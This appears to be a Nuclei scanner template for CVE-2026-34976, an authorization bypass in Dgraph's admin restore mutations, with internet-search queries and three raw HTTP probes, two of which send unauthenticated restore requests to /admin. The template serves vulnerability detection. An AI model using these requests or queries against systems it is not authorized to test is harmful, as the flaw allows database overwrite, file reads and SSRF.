id: CVE-2026-34976 info: name: Dgraph <=v25.3.0 - Admin Mutation Missing Authorization author: str4k3r severity: critical description: | Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication. impact: | Unauthenticated attackers can overwrite the database, read server files, and perform SSRF, leading to full data compromise and server access. remediation: | Update to version 25.3.1 or later. reference: - https://github.com/hypermodeinc/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw - https://nvd.nist.gov/vuln/detail/CVE-2026-34976 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-34976 epss-score: 0.02036 epss-percentile: 0.79924 cwe-id: CWE-862 metadata: verified: true max-request: 3 vendor: hypermodeinc product: dgraph shodan-query: title:"Dgraph" fofa-query: body="dgraph" tags: cve,cve2026,dgraph,auth-bypass,ssrf flow: http(1) && http(2) && http(3) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 3 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_any(body, "dgraph", "Dgraph")' condition: and internal: true - raw: - | POST /admin HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"query": "mutation { restore(input: { location: \"file:///nonexistent-cve-34976-probe/\" }) { code message } }"} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "unauthorized ip address")' condition: and internal: true - raw: - | POST /admin HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///nonexistent-cve-34976-probe/\" }, fromNamespace: 0 }) { code message } }"} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "restoreTenant")' - '!contains(body, "unauthorized ip address")' condition: and # digest: 4a0a004730450220663ae4d479ee17a77e3ff267e7d4cfa3effa39415a4ac7cfb9d19d7be6b835fa0221008abef47a0ac58b48763d93e542610e210bf4b76012b88f931d36d9ec3bcc58ca:922c64590222798bb761d5b6d8e72950